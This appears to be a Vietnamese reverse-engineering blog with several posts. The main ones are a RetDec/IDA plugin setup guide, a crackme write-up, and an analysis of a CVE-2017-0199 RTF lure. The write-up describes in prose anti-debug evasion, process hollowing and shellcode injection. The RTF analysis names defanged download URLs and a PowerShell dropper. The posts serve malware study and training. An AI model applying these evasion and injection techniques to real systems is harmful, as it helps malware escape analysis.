Không vì dưỡng tính linh.
Thấy người say khướt cả,
Đâu nỡ tỉnh riêng mình!


Mới đây, tại hội thảo BotConf2017, các chuyên gia của Avast đã giới thiệu tới cộng đồng công cụ decompiler với tên gọi là RetDec (Retargetable Decompiler). Theo các chuyên gia chia sẻ, sau bảy năm phát triển, Avast quyết định open-source công cụ này nhằm trợ giúp cho cộng đồng an ninh mạng trong cuộc chiến chống lại các phần mềm độc hại. Thông qua công cụ này sẽ cho phép những người hoạt động trong lĩnh vực phân tích/nghiên cứu có thể biết được hoạt động của một ứng dụng, mà không cần phải thực thi.

Hiện tại, RetDec hỗ trợ các tính năng sau:

  • Supported file formats: ELF, PE, Mach-O, COFF, AR (archive), Intel HEX, and raw machine code.
  • Supported architectures (32b only): Intel x86, ARM, MIPS, PIC32, and PowerPC.
  • Static analysis of executable files with detailed information.
  • Compiler and packer detection.
  • Loading and instruction decoding.
  • Signature-based removal of statically linked library code.
  • Extraction and utilization of debugging information (DWARF, PDB).
  • Reconstruction of instruction idioms.
  • Detection and reconstruction of C++ class hierarchies (RTTI, vtables).
  • Demangling of symbols from C++ binaries (GCC, MSVC, Borland).
  • Reconstruction of functions, types, and high-level constructs.
  • Integrated disassembler.
  • Output in two high-level languages: C and a Python-like language.
  • Generation of call graphs, control-flow graphs, and various statistics.
  • IDA plugin that allows decompilation of files directly from the IDA disassembler.

Thông tin chi tiết có thể xem thêm tại blog: https://blog.avast.com/avast-open-sources-its-machine-code-decompiler

RetDec hỗ trợ plugin để có thể sử dụng với IDA. Mô hình hoạt động của plugin này như sau:

Plugin hỗ trợ phiên bản IDA từ 6.6 trở lên (không làm việc với IDA 7.x). Tải plugin tại đây: https://retdec.com/idaplugin/. Việc cài đặt để sử dụng rất đơn giản, trong bài viết này tôi minh họa sử dụng plugin với IDA 6.8.

Các bước cài đặt Plugin:

  1. Chép file retdec.plw vào thư mục plugin của IDA (/plugins).
  2. Mặc định, plugin này đăng ký phím tắt là Ctrl-D. Nếu đã sử dụng phím tắt này cho một plugin khác hoặc muốn sử dụng một phím tắt khác, cần phải sửa đổi tệp cấu hình plugin của IDA ( /plugins/plugins.cfg). Bên cạnh đó, plugin này hỗ trợ nhiều chế độ decompile: selective (decompile hàm tại vị trí con trỏ); full (decompile toàn bộ binary), do vậy khuyến nghị cấu hình plugins.cfg như sau:

Thực hiện Decompile:

RetDec hỗ trợ hai chế độ decompile:

  • Remote API Decompilation: sử dụng API được cấp bởi RetDec, API này sẽ kết nối và gửi dữ liệu lên máy chủ của RetDect. Quá trình decompile sẽ do máy chủ của RetDect thực hiện và trả kết quả về khi decompile xong.
  • Local decompilation: Ở chế độ này, phải cài đặt RetDec trên máy và đảm bảo plugin có thể truy cập tới file decompile.sh.

Remote API Decompilation: Với chế độ này các bước cấu hình cơ bản như dưới đây:

  • Đăng kí một tài khoản miễn phí tại https://retdec.com. Sau khi kích hoạt tài khoản, vào phần quản lý account để tạo API key tương tự như hình dưới:

  • Cấu hình Retdec plugin trong IDA để sử dụng API key đã tạo ra ở bước trên:

Kết quả chạy plugin sau khi cấu hình thành công:


Local decompilation: Để sử dụng chế độ này thì việc cấu hình có phức tạp hơn chút. Các bước cơ bản như sau:

  • Phiên bản mới nhất là của RetDec là v3.0. Tùy vào phiên bản của OS mà lựa chọn bản cài đặt phù hợp tại đây. Sau khi tải về, bung nén vào một thư mục tùy ý. Ví dụ:

Lưu ý: Nhớ bổ sung đường dẫn tới thư mục bin vào system PATH của Windows.

  • Sau khi cài đặt xong, kiểm tra thử xem có chạy được không. Nếu kết quả như hình là ok:

  • Cấu hình lại plugin sử dụng chế độ Local decompilation như sau:

  • Kết quả có được sau khi tiến hành decompile như sau:

Cơ bản là như vậy, chi tiết các chức năng khác có thể đọc thêm tại https://retdec.com và trong tài liệu userguide đi kèm với plugin.

End!

m4n0w4r

 

Bruce Dang…

Posted: December 2, 2017 in Bruce Dang..., Uncategorized
Tags:

Nhân sự kiện Ngày ATTT Việt Nam 2017 diễn ra hôm 1/12 vừa rồi, tôi có cơ hội được gặp và nói chuyện trực tiếp với anh Bruce Dang (https://twitter.com/brucedang) , đồng tác giả của cuốn sách “Practical Reverse Engineering”. Ban đầu, tôi cũng không định đến vì nhiều lý do … 11, nhưng sau tôi đã thay đổi lại sau khi đọc mấy thông tin bên lề khi biết Bruce sẽ trình bày một chủ đề khá hot “Tình tiết và bài học từ một số sự cố tấn công APT” vào “cuối” buổi chiều… hell-yes-onion-head-emoticon

Gặp Bruce tại hội thảo cũng thật tình cờ … đúng kiểu đến là gặp luôn chả phải đi tìm :D. Việc đầu tiên là tôi xin chữ kí vào cuốn sách do anh là đồng tác giả:

IMG_20171202_161943

Theo như anh chia sẻ thì toàn bộ số tiền bán sách đều dành cho mục đích từ thiện và anh cũng cảm ơn tôi vì đã góp phần vào mục tiêu đó của anh. (Các bạn sinh viên học ATTT, đang còn trên ghế nhà trường, ngày có thể bớt vài ba cốc trà sữa để dành tiền mua sách của anh, vừa là nâng cao kiến thức và cũng là để ủng hộ mục đích đầy nhân ái này của anh)

Do khoảng thời gian tới lúc Bruce bước lên Showbiz còn dài nên tôi và mấy anh em khác được nói chuyện với anh khá lâu. Tôi đùa bảo: “Họ để anh talk cuối cùng chắc để giữ khách hả anh?” … Bruce cười khà khà. Anh nói, mới về VN cũng không biết mọi người quan tâm tới cái gì, thôi thì làm slide để kể chuyện về APT. Tôi bảo: “Anh làm được chục slides là hơn đứt Thái-DN rồi anh ơi!.. Thái làm có một slide có hình viên đạn không à adore. Mà có lần sau chắc anh còn được present tiếp, chứ Thái thì …. 😀 “

Tuy lần đầu tiên tiếp xúc và nói chuyện trực tiếp với Bruce nhưng cá nhân tôi thấy anh là người rất thoải mái, thân thiện, nhiệt huyết và rất sẵn lòng chia sẻ các vấn đề liên quan đến kĩ thuật. Cảm giác Bruce có thể nói liên tục không ngừng nghỉ … chỉ chờ có người hỏi hoặc chuyển chủ đề là lại tuôn ra như suối 29. Người gầy nhẳng mà nói khỏe thế waaaht!!!

Do nhiều năm sống và làm việc tại nước ngoài nên Bruce tự nhận Tiếng Việt mình kém và nhiều khi không hiểu được người đối diện đang nói gì :D… Bruce hay đệm những từ đại loại như “so Cool”, “wow”,  “yeah”…”Blah Blah Blah”. Tôi có trêu anh: “Anh nói nhiều quá! Anh phải giữ giọng tí còn talk chứ!”. Anh bảo không thành vấn đề, quen rồi.

Mải chém gió, sau sực nhớ xin anh bức ảnh làm kỉ niệm. Tks Sơn-NV chụp hộ anh nhá:

IMG_20171201_142403

Tới giờ Bruce phải dấn thân vào Showbiz, và như bất kì một bài talk liên quan đến kĩ thuật .. tôi chỉ để lại bức ảnh này và xin phép “không bình luận” gì thêm. Không biết anh đứng một mình trên đó có thấy lạnh không? Chứ tôi với mấy anh em ngồi dưới thấy phòng rộng và lạnh quá :

IMG_20171201_165206

Chúc anh luôn dồi dào sức khỏe và hi vọng có dịp lại được nói chuyện với anh.

My idol 29

Regards,

m4n0w4r

P.S: Tôi có thu âm buổi talk của anh, bạn nào muốn nghe giọng anh thì liên hệ, tôi sẽ upload!

 

 

 


Blog này tôi xây dựng với tinh thần chia sẻ những kiến thức mà tôi biết trong quá trình nghiên cứu, làm việc và học hỏi. Do vậy, tôi cũng hi vọng các bạn vẫn thường xuyên ghé Blog của tôi cũng có được tinh thần như thế36

Gần đây, hasherezade trên trang twitter cá nhân của mình có đăng tải một crackme do cô ấy viết dành cho @Malwarebytes. Là một lập trình viên và là người nghiên cứu độc lập nhưng đặc biệt quan tâm tới lĩnh vực InfoSec, Hasherezade dành nhiều thời gian với công việc phân tích mã độc và chia sẻ thông tin về những mối nguy hại cho cộng đồng thông qua trang blog cá nhân hoặc qua Malwarebytes Team.

Trong cộng đồng cybersecurity nhung nhúc toàn nam giới, việc xuất hiện những bóng hồng tài năng như cô ấy quả thật rất hiếm. Cá nhân tôi cảm giác một mình cô ấy cân cả team ở Malwarebytes 🙂 . Tôi thích cô ấy bởi thái độ làm việc nghiêm túc, ngoài ra còn vì một lý do đặc biệt khác, là một người nghiên cứu độc lập có lẽ cô ấy chưa biết tới các cụm từ “chuyên gia bảo mật tự phong”, “nhà ngoại cảm bảo mật” … Nếu không biết các cụm từ này thật quả là đáng tiếc!! Hi vọng nếu có cơ hội du lịch qua dải đất hình chữ S này hoặc qua màn ảnh nhỏ cũng được, cô ấy có thể cập nhật các cụm từ trên vào vốn từ của mình…Tôi đảm bảo tương lai sẽ rộng mở hơn, báo chí sẽ săn đón nhiều hơn …4

Download crackme tại đường link trên: https://www.hybrid-analysis.com/sample/4ba96615dd4f38d5bf75c192c6bee81ecac595fda911d6974739557118eda032?environmentId=100

Thử chạy crackme, nhận được lời giới thiệu: challenge này được tạo ra dành cho những người làm công việc liên quan tới phân tích mã độc. Khi hoàn thành toàn bộ các nhiệm vụ sẽ tìm được flag có dạng là flag{…}. Challenge này có rất nhiều màn cần phải vượt qua để tới được đích cuối cùng.

Tiếp theo load thử crackme vào một trình debugger bất kì (ví dụ: OllyDBG/x64dbg), được trang bị sẵn các plugin chống các cơ chế anti-debug. Chạy thử crackme trong debugger, mục đích nhằm để kiểm tra xem crackme có thực thi được bình thường không hay là có sử dụng các cơ chế anti-debug nào khác nữa:

Như đã thấy trên hình, crackme vẫn thực thi được hoàn toàn bình thường. Giờ dựa vào chuỗi “I am so sorry, you failed! :(“ để tìm ngược lại đoạn code check liên quan. Trước khi load crackme vào IDA, kiểm tra thêm các thông tin cơ bản khác.

Compiler: Microsoft Visual C/C++(2012)[-]. Như vậy là crackme không bị pack.

Crypto:

Crackme có sử dụng kĩ thuật anti-debug, sử dụng các hàm API liên quan tới mã hóa thuộc thư viện ADVAPI32.dll, có khả năng sử dụng cả Base64.

Unicode String:

ANSI String:

Căn cứ vào thông tin của string thì khả năng crackme có kiểm tra để kết nối internet, tạo payload khác và thực thi payload này.

Quá trình thu thập các thông tin để có cái nhìn tổng quan về crackme này cơ bản đã xong. Để tìm hiểu và phân tích kĩ hơn, tiến hành load crackme này vào IDA. IDA sẽ thực hiện quá trình phân tích tự động cho tới khi cửa sổ Output window xuất hiện thông báo: “The initial autoanalysis has been finished”, có nghĩa là quá trình phân tích của IDA đã hoàn tất. Chuyển tới cửa số Strings Window (Shift+F12), tìm chuỗi “I am so sorry, you failed! 😦“:

Nhấp đúp chuột tại chuỗi này sẽ tới địa chỉ .rdata:00420A38 tại màn hình IDA View:

Sử dụng chức năng Cross-References của IDA để tìm ra vùng code gọi tới chuỗi này:

Với kết quả trên hình, biết được chuỗi này chỉ được sử dụng ở một nơi duy nhất, đó là tại hàm main() của crackme. Nhấn đúp chuột tại địa chỉ có được, tôi sẽ tới hàm main() của crackme:


Stage1 — Get the final binary

1.1. Khôi phục URL bị mã hóa

Quan sát tại hàm main(), sau khi gọi các hàm printf() để in ra màn hình các thông tin giới thiệu về crackme, tôi thấy có lệnh call sub_004014F0() tại địa chỉ 0x00401972 (tôi đã đổi tên thành GetDecryptedUrl()), sau hàm call này sẽ có quá trình kiểm tra để rẽ nhánh như trên hình. Thanh ghi al sẽ lưu kết quả trả về sau khi gọi hàm này, nếu <> 0 (hay True) thì sẽ nhảy tới nhánh “right_track”. Do đó, cần phải phân tích nhiệm vụ của hàm call này. Tổng thể toàn bộ code tại sub_004014F0() như dưới đây:

Tôi sẽ đi lần lượt từ đầu, đầu tiên sẽ gặp lệnh rdtsc, lệnh này hay được malware áp dụng để anti-debug. Sau khi thực hiện lệnh này, kết quả được lưu vào thanh ghi eax (chứa 32 bit thấp) và edx (chứa 32 bit cao). Các giá trị này sau đó được lưu vào biến để sử dụng sau:

Tiếp theo, tại địa chỉ 00401510 sẽ gọi tới sub_004019D0 (detect_debugger()) làm nhiệm vụ phát hiện xem crackme có đang bị debug không thông qua các API IsDebuggerPresent() & CheckRemoteDebuggerPresent():

Đọc kĩ đoạn code trên sẽ thấy mục đích của sub này không phải để anti-debug, mà thông qua việc kiểm tra xem có đang bị debug hay không để thiết lập giá trị cho một mảng, tôi đặt tên là global_bytes_array[]. Kết thúc quá trình kiểm tra, mảng sẽ được gán giá trị đầu tiên là 0x81B22A94, sau đó index của mảng sẽ được tăng dần để phục vụ lưu giá trị tiếp theo.

Tại địa chỉ 00401520 sẽ gọi tới sub_00401A50() (au_re_RaiseException()) nhằm thực hiện RaiseException:

Sau đoạn code trên, mảng sẽ được gán giá trị thứ hai là 0x18E309F0. Tiếp theo, tại địa chỉ 00401525 gọi tới sub_ 00401B00() (check_hw_registers()), mục đích của sub này sẽ kiểm tra xem có đặt hardware breakpoint hay không bằng cách kiểm tra giá trị các thanh ghi Dr0; Dr1; Dr2; Dr3. Nếu không đặt hw bp thì sẽ không gán giá trị vào mảng, do đó cần phải đặt hw bp để có được giá trị được gán tiếp theo cho mảng.

Với việc có thiết lập hw bp, mảng sẽ được gán giá trị thứ ba là 0xEFF4652B. Tại đỉa chỉ 0040152A, ta sẽ gặp sub_00401C20() (check_PEB_flags()). Sub này làm nhiệm vụ kiểm tra NtGlobalFlag & BeingDebugged trong cấu trúc PEB, nếu các trường này có giá trị non-zero thì sẽ thực hiện gán giá trị cho mảng. Đây cũng là cách anti-debug hay gặp ở malware. Tuy nhiên, ở đây ta thấy mục đích của crackme này rõ ràng không phải là để anti-debug:

Như vậy, sau quá trình kiểm tra, mảng của chúng ta sẽ được gán giá trị thứ tư là 0xBA521C56. Sau đoạn code kiểm tra flags trong PEB, tại địa chỉ 00401531 gọi tới sub_00402730() (find_blacklisted_devices()).

Sub này sẽ build một danh sách các checksum cho các blacklist device, sau đó sử dụng API QueryDosDeviceA() để lấy toàn bộ các thông tin về tên các MS-DOS device, và lưu tại buffer là lpTargetPath. Sau đó sẽ duyệt danh sách này, tính toán một giá trị check_sum của từng device name và so sánh với danh sách device đã thiết lập từ trước. Nếu như tìm thấy có blacklist device thì mới gán giá trị cho mảng. Do trên máy tôi không có blacklist device nào tương ứng, do đó tôi phải patch tại lệnh nhảy để chuyển tới code gán giá trị cho mảng:

Kết quả ta sẽ có được giá trị thứ tư gán vào mảng là 0x2CBE186A. Tiếp theo, tới sub_00402880() (anti_virtualBox()) tại địa chỉ 00401536, sub này sẽ kiểm tra xem ta có đang phân tích crackme trong môi trường VirtualBox hay không?

Do tôi không sử dụng VirtualBox nên phải patch để tới đoạn code gán giá trị cho mảng. Tới đây, ta có giá trị thứ 5 được gán vào mảng là 0xF5C1D288. Tiếp tục tới địa chỉ 0040153D, tại đây gọi tới sub_00402B70() (find_blacklisted_modules()).

Sub này cũng build một danh sách các checksum cho các module (nhìn vào đây thì chịu không rõ là module nào được tạo checksum).

Tiếp theo sẽ thực hiện quá trình tìm kiếm các blacklist module thông qua các hàm API GetCurrentProcessId(), CreateToolhelp32Snapshot(), Module32First(), Module32Next(). Nếu tìm thấy mới thực hiện gán giá trị cho mảng:

Do trên máy tôi, không có module nào thỏa mãn nên tôi cũng patch để tới đoạn code gán giá trị thứ 6 cho mảng là 0x8005F916.

Tại địa chỉ 00401544, gọi tới sub_00402DE0() (find_blacklisted_processes()). Sub này build một danh sách các checksum cho các process, thực hiện quá trình tìm kiếm các blacklist process thông qua các hàm API CreateToolhelp32Snapshot(), Process32First(), Process32Next(). Nếu tìm thấy sẽ tiến hành gán giá trị cho mảng.

Tiếp tục patch cờ ZF để tới đoạn code gán giá trị thứ 7 cho mảng là 0xFB18EAD7. Cuối cùng tới đoạn code lấy lại các giá trị timestamp của lệnh rdtsc để sử dụng cho sub_00401BC0() (timing_based_detection()) tại địa chỉ 00401555.

Đây là một cách mà các malware thường hay áp dụng để phát hiện debugger. Tiến hành patch để tới đoạn code gán giá trị cuối cùng cho mảng là 0x82CF939D. Sau khi vượt qua được hết các quá trình kiểm tra trên, tôi có được mảng với toàn bộ các giá trị được gán như sau:

Đoạn code tiếp theo khởi gán các giá trị cho một mảng (tôi đặt là szEncrypted_Url), sau đó sẽ thực hiện quá trình giải mã để lấy plaintext url và vào szUrl. Quá trình giải mã URL có sự tham gia của mảng đã gán ở trên, do vậy khả năng đây có thể là key để phục vụ việc giải mã. URL sau khi được giải mã sẽ được tính checksum để so sánh với giá trị mặc định là 0x3B47B2E6. Cơ bản tại sub_004031C0() (decrypt_url()) sẽ thực hiện các công việc dưới đây.

Sử dụng API CryptAcquireContextW() để lấy handle với các tham số sau:

Sau khi lấy được handle sẽ sử dụng API CryptCreateHash() để khởi tạo và trả về một handle sử dụng cho việc hash dữ liệu bằng các hàm CryptHashData() và CryptHashSessionKey(). Thuật toán được sử dụng để phục vụ hash dữ liệu là SHA_256:

Thực hiện hash dữ liệu với hàm API CryptHashData(), tham số pbData trỏ tới mảng bytes đã được khởi gán ở trên. Như vậy, khi thực hiện xong, hàm này sẽ cập nhật một giá trị hash dựa trên mảng byte đã có:

Tại máy tôi, giá trị hash được cập nhật có giá trị sau:

Dựa vào hash có được, sử dụng hàm API CryptDeriveKey() để tạo ra một key phục vụ cho việc giải mã dữ liệu:

Key AES 128 bit cuối cùng được tạo ra:

Với key được tạo ra như trên, thực hiện giải mã encrypted_URL để có link gốc:

Nếu giải mã thành công ta sẽ có được URL chính xác như sau:

Với URL được giải mã đúng sẽ qua được phần kiểm tra check sum với giá trị mặc định là 0x3B47B2E6h. Cùng với đó, tôi sẽ không tới đoạn code in ra màn hình thông báo: “I am so sorry, you failed! :(\n”. Truy xuất URL trên, tôi nhận thấy đây là một dữ liệu rất dài bị mã hóa bằng Base64:


1.2. Giải mã và dump file PE mới

Đi sâu vào phân tích call sub_401690() tại địa chỉ 004019A5. Tại đây, đầu tiên sẽ kiểm tra xem kết nối Internet có sẵn sàng hay không bằng hàm API InternetGetConnectedState(). Nếu không sẽ in ra màn hình thông báo: “I need internet!\n”.

Tiếp theo, thực hiện cấp phát một vùng nhớ với toàn các bytes 0 với số lượng (0x1FA0Eu*1) bytes. Vùng nhớ này sẽ được sử dụng để chứa dữ liệu tải về từ URL ở trên:

get_base64_data_from_url() sử dụng các API InternetOpenA(), InternetOpenUrlA(), InternetReadFile() với user_agent là ‘Mal-Zilla’. Thực hiện download toàn bộ nội dung từ URL và lưu vào vùng nhớ đã cấp phát. Download xong sẽ in ra màn hình thông báo: “You are on the right track!\n” và tính toán lại kích thước thật sự của vùng dữ liệu đã download là 0xC20B bytes, đồng thời cấp phát vùng nhớ khác toàn bytes 0 với kích thước thật này. Thực hiện giải mã toàn bộ khối dữ liệu Base64 đã download và lưu vào vùng nhớ mới được cấp phát:

Vùng buffer sau khi decrypt vẫn ở dạng bị mã hóa:

crackme tiếp tục cấp phát một vùng nhớ mới, sử dụng API RtlDecompressBuffer() để giải nén buffer ở trên (CompressedBufferSize = 0xC20B):

Vùng buffer (trên máy tôi) sau khi được giải nén có kết quả như hình dưới, với kích thước sau giải nén FinalUncompressedSize = 0xE400:

Với vùng buffer có được này tôi thấy vẫn chưa có thông tin gì cụ thể cả, nhưng nhận thấy một điểm đặc biệt là có rất nhiều chuỗi “malwarebytes” được lặp đi lặp lại tại vùng buffer này. Tiếp tục phân tích code phía dưới tôi nhận ra một số điểm khá thú vị:

  1. Thực hiện khởi tạo một vùng nhớ mới.
  2. Gọi sub_00406B20() (Get_Clipboard_Data()): sử dụng các hàm API IsClipboardFormatAvailable(), OpenClipboard(), GetClipboardData() để copy dữ liệu của clipboard vào vùng nhớ đã cấp phát.
  3. Gọi sub_004011A0() (xor_decrypt_new_PE()): sử dụng vùng nhớ chứa dữ liệu clipboard làm xor key giải mã để vùng buffer trên.
  4. Kiểm tra xem vùng buffer được giải mã có phải là PE file hay không thông qua vdấu hiệu “MZ”. Nếu không đúng sẽ hiện thị thông báo “Better luck next time!”, “Nope :(” bằng API MessageBoxA().
  5. Dựa trên dấu hiệu so sánh với “MZ”, tôi thực hiện lấy mẫu để xor với vùng buffer trên và đi đến kết luận, xor key dùng để giải mã chính là “malwarebytes”.

Tiến hành copy chuỗi “malwarebytes” vào clipboard và thực hiện đoạn code trên để lấy được PE file:

Lúc này, ta có thể dump toàn bộ vùng nhớ này bằng OllyDumpEx plugin và save lại với tên mới (ví dụ: mb_crackme_dump.exe):

Thử chạy file vừa dump xem có thực thi được không, nhận được thông báo:

Tới đây có thể dừng lại để chuyển sang phân tích binary của Stage2.

Tuy nhiên, nếu tiếp tục quá trình phân tích sau khi vùng buffer được giải mã chính xác như trên, tôi gặp một kĩ thuật thường thấy khi phân tích malware đó là process hollowing. Trước khi thực hiện process hollowing, crackme sử dụng API ExpandEnvironmentStringsW() để tạo một command đánh lừa như sau: %SystemRoot%\system32\rundll32.exe secret.dll,#1 .

Lên quan đến kĩ thuật hollowing, cụ thể ở crackme sẽ thực hiện một số bước như sau:

  • Khởi tạo một instance mới của một tiến trình hợp lệ (ở chế độ CREATE_SUSPENDED) thông qua API CreateProcess().

PROCESS_INFORMATION: là struct chứa thông tin liên quan tới ProcessId & ThreadId để giúp xác định tiến trình được tạo. Ví dụ trên máy tôi:

  • Lấy thông tin về context của hThread ứng với tiến trình vừa được khởi tạo ở trên thông qua API GetThreadContext(hThread, &Context).
  • Từ thông tin về context có được, truy xuất tới PEB để lấy ImageBaseAddress của tiến trình (baseAddress = (DWORD *) contx.Ebx+8). Sử dụng API ReadProcessMemory(hProcess, (LPCVOID)(Context.Ebx + 8), &Buffer, 4u, NULL) để kiểm tra toàn bộ dữ liệu tại base address và vùng nhớ với kích thước được chỉ định có thể truy cập để đọc dữ liệu hay không, nếu không, và nếu không thể truy cập thì hàm sẽ bị lỗi.
  • Sử dụng VirtualAllocEx()/VirtualAlloc() để cấp phát một vùng nhớ mới có quyền “PAGE_EXECUTE_READWRITE” dùng để lưu code của PE đã giải mã.
  • Tiến hành copy toàn bộ dữ liệu từ vùng PE buffer đã được giải mã ở trên vào vùng nhớ mới được tạo ra:

  • Sau đó lấy thực hiện việc lấy Entry Point, lưu vào _Eax, sử dụng các API SetThreadContext() và ResumeThread() để thực thi process từ EP.

Note: Nếu như thực hiện toàn bộ quá trình trên, thì PE file này sẽ thực thi dưới process là rundll32.exe với một tham số giả là “secret.dll, #1” (đánh lừa chúng ta như kiểu nó đang load file dll là secret.dll và gọi tới hàm được export dll có thứ tự là #1).

Như vậy, để phân tích được PE file đã giải mã thì có thể thực hiện:

  • Cách 1: Sau khi file đã giải mã hoàn toàn, thực hiện dump file như tôi đã làm ở trên.
  • Cách 2: Sử dụng Process Hacker, dump file từ memory (nhớ lưu thông tin địa chỉ base address. Ví dụ trong hình là 0xd0000). Sau đó, dùng công cụ pe_unmapper của chính hasherezade để fix file đã dump:

  • Cách 3: trước khi thực hiện API SetThreadContext(), tìm trong Context địa chỉ của EP, sau đó dùng Process Hacker để patch bytes tại entry point thành 0xEB 0xFE để tạo infinite loop (lưu ý nhớ lại byte gốc của EP), sau khi patch xong cho ResumeThread() để process thực thi bình thường và rơi vào vòng lặp vô tận, tiến hành attach tiến trình mới này vào một trình debugger khác để debug tiếp:


2. Stage 2 — Get the final flag

Có được binary mới bằng phương pháp dump ở trên với kích thước 57.0 KB (58,368 bytes). Khi chạy tôi nhận được thông báo “You failed 😦 . Better luck next time”. Load file mới vào IDA, tìm chuỗi này để dò ngược lại code. Tôi tới được hàm main() của file.

Tại main(), đầu tiên sẽ gặp sub_004010C0() (get_api_address()) có nhiệm vụ lấy địa chỉ của các hàm API “NtQueueApcThread”, “ZwSetInformationThread”, “ZwCreateThreadEx”, “RtlCreateUserThread”, thuộc thư viện ntdll.dll.

Sử dụng API GetModuleFileNameA() để lấy đường dẫn đầy đủ của file đang phân tích. Dựa trên đường dẫn này thực tính ra một giá trị checksum. Dùng API ExpandEnvironmentStringsA() để thiết lập một đường dẫn khác là %SystemRoot%\\system32\\rundll32.exe (C:\Windows\system32\rundll32.exe). Với đường dẫn này cũng thực hiện tính giá trị checksum khác.

Sau khi qua đoạn kiểm đường dẫn trên, tới đoạn code mà binary sử dụng hàm API EnumWindows() để tìm toàn bộ các top-level windows hiện có trên màn hình bằng cách truyền handle tới từng window, thông qua một callback function đã được định nghĩa trước. Ở đây, giá trị được truyền cho hàm callback là mã hash (0x3C5FE025) của một window nào đó mà tôi không biết.

Code tại hàm callback EnumFunc() thực hiện việc lấy ClassName của các window, sau đó tính checksum dựa trên ClassName này, so sánh với giá trị mặc định là (0x3C5FE025). Nếu bằng nhau thì sẽ ẩn cửa sổ có ClassName tương ứng, lấy process_id, qua đó lấy ra open hanle bằng API OpenProcess():

Ở đây tôi dùng một trick đế lấy handle của một Window khác (ví dụ của Calc.exe) và truyền handle này vào cho hàm API GetClassNameA():

Khi đó, ClassName sẽ chứa tên Class của ứng dụng (Calc.exe):

Patch đoạn so sánh checksum để tới đoạn code lấy process id, và open handle của calc.exe. Tiếp theo tới đoạn code lấy giá trị của PEB.BeingDebugged Flag (nếu bị debug sẽ có giá trị là 1), sau đó lấy 4 bytes đầu tiên của một vùng nhớ (tôi đã đổi thành shell_code) để thực hiện tính toán thông qua vòng lặp xor. Các bytes sau khi được giải mã được gán lại vào shell_code, tính checksum cho vùng shell_code có độ dài 0x177 bytes và so sánh với giá trị checksum mặc định là 0xCA1C7FCF. Nếu không bằng thì sẽ hiện thông báo: “You failed :(\nBetter luck next time!”, “Stage 2”.

Đoạn code tiếp theo sẽ thực hiện inject toàn bộ shell_code vào victim_process thông qua handle đã có được ở trên. Sử dụng ZwCreateSection() để tạo section có thuộc tính PAGE_EXECUTE_READWRITE = 0x40, NtMapViewOfSection() để maps section được tạo vào trong vùng nhớ của process hiện tại. Sau đó copy toàn bộ shell_code vào section đã được map thực hiện map vào process mà ta lấy được handle ở trên (của tôi là handle của calc.exe). Điều này đồng nghĩa với việc thực hiện inject toàn bộ shell_code vào calc.exe.

Kết quả sau khi đã thực hiện việc inject thành công:

Cuối cùng, tính toán một giá trị random bằng GetTickCount() % 3. Tùy thuộc vào kết quả trả về bằng 0, 1 hay 2 mà gọi các hàm liên quan tới thread khác nhau để thực thi shellcode.

Nếu thực hiện thành công, tôi có được flag 11:

Cảm ơn haserezade! Đây là một challenge thú vị với nhiều kĩ thuật khác nhau hay được sử dụng bởi malware, vừa tầm để những người không phải “chuyên gia bảo mật” như tôi nghiên cứu, học hỏi thêm để nâng cao kĩ năng.29

Hết!

m4n0w4r

(Bài viết có chỗ nào sai/thiếu sót mong bạn đọc góp ý)

“Khắc ghi sâu trong tim từng nét mi đường mày
Đong đầy nỗi nhớ nhung vào bức họa
Thấm nhuộm cả sắc mực tràn
Sách ngàn chữ cùng đều ố vàng
Đêm tĩnh mịch, rèm thưa đã mờ mờ sáng
Phất tay áo lên điệu múa trong mộng bỗng thật bồi hồi
Lòng dần dâng tràn nỗi niềm tương tư
Nàng quyến luyến rơi hoa lê
Lặng yên họa, hồng nhan đợi ai quay về
Trống vắng, người ấy cứ dần dần mà hao gầy …
Hương vị môi son ấy…
Vén rèm châu lên là vì ai?
Cớ sao vẫn không thấy người
Trăng khuya sáng vằng vặc, tình này thật khó thay…
Mưa phùn khẽ giăng giăng buổi sớm ngày đầu xuân
Bâng khuâng gọi lộc non thức tỉnh
Nghe tiếng gió nhẹ thổi bên tai
Than dòng nước chảy, thương cánh hoa rơi
Là ai ở nơi mây khói, gảy tiếng đàn đưa…”

Image result for vén rèm châu


Customize theme for x64dbg:

CPU screenshot:

CPU_screenshot

CPU screenshot

Graph screenshot:

Graph_screenshot

Graph screenshot


Chal7

Escape Room

emo_popo_cholerBài Write-up cho Chal7 của Flareon 4.

Download here: Chal7.writeup

Regards,

 


Bài write-up cho Chal6 của FlareOn 4.

Download here: Chal6_writeup

Regards,


Đợt rồi lọ mọ kiếm sample phục vụ cho một project nhỏ của mấy anh em trong team VReT, vô tình “nhặt” được một sample cũng hay hay, do:

  • Có nội dung liên quan chính trị,  khả năng sử dụng để targeted attacks.
  • Áp dụng CVE-2017-0199 để lây nhiễm mã độc lên máy nạn nhân.

Hash của sample: 7b65b7f4678e9b915640d41d38151621076d4f539b677b0e3f98971547d68fd0

Dùng file/ Trid để kiểm tra thông tin sample (để khẳng định chắc chắn nó là định dạng RTF):

file

Fig 1

trid

Fig 2

Thử chuyển đổi sang định dạng PDF để xem qua nội dung:

rtf_content

Fig 3

Đọc thấy nội dung chuẩn bị có vẻ công phu lắm…  107

Hiện nay, có hai công cụ của hai chuyên gia nổi tiếng dùng để phân tích file có định dạng RTF là:

Sử dụng rtfdump, sau khi parse file, công cụ phát hiện có object data được nhúng tại vị trí 1201:

rtfdump_1

Fig 4

Tiếp tục dùng rtfdump, lựa chọn vị trí 1201 để dump, thêm tùy chọn –H để decode và xem dưới dạng hexa, -i để in ra các thông tin liên quan tới object tại vị trí được lựa chọn:

rtfdump_2

Fig 5

Theo thông tin thì object được nhúng có định dạng là OLE file:

rtfdump_3

Fig 6

Sử dụng tùy chọn –d để dump, ta có được thông tin:

rtfdump_4

Fig 7

Như vậy, khi mở tài liệu này nó sẽ tự động kết nối và download một tập tin khác tại hxxps://cdn-gmirror.appspot.com/template.rtf. Thử download tập tin template.rtf (tính đến thời điểm viết bài):

rtfdump_5

Fig 8

Kiểm tra file vừa tải về, trid báo unknown còn file báo định dạng là HTML chứ không phải là RTF:

file_2

Fig 9

Mở file bằng một trình Text Editor, thấy đây là một VBScript, thực hiện việc gọi powershell để download file tại hxxps://tp-qbm.appspot.com/icon.png và lưu với tên là unikey.exe tại hai thư mục là “%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup” và “%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup”:

VBScript

Fig 10

Thử download file tại hxxps://tp-qbm.appspot.com/icon.png, tính đến thời điểm viết bài thì file này không còn nữa:

icon_not_found

Fig 11

End.

m4n0w4r


